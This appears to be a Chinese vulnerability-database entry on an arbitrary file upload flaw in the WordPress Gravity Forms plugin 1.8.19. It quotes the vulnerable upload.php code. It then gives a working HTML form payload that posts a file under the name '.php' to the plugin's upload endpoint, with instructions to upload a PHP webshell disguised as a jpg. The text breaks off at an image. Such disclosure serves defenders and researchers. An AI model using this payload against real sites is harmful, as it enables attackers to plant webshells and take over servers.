Wordpress Gravity Forms 1.8.19...

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

<ul><li>/includes/upload.php</li></ul><pre class="">$file_name = isset($_REQUEST["name"]) ? $_REQUEST["name"] : ''; $field_id = rgpost("field_id"); $field = GFFormsModel::get_field($form, $field_id); if ( empty( $field ) ) { die(); } // Clean the fileName for security reasons $file_name = preg_replace('/[^\w\._]+/', '_', $file_name); …. $tmp_file_name = $form_unique_id . "_input_" . $field_id . "_" . $file_name; $file_path = $target_dir . $tmp_file_name; </pre><p>用户传入的name没有经过检查扩展名直接拼入文件名,可以绕过黑名单检测导致任意文件上传。</p><p>将如下Payload保存为网页文件:</p><pre class="">&lt;form action="http://10.211.55.3/wordpress/?gf_page=upload" method="post" enctype="multipart/form-data"&gt; &lt;input type="file" name="file"&gt; &lt;input type="text" name="name" value=".php"&gt; &lt;input type="text" name="field_id" value="1"&gt; &lt;input type="text" name="form_id" value="1"&gt; &lt;button type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; </pre><p>打开上传一个jpg文件,内容是PHP的webshell:&nbsp;</p><p><img...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息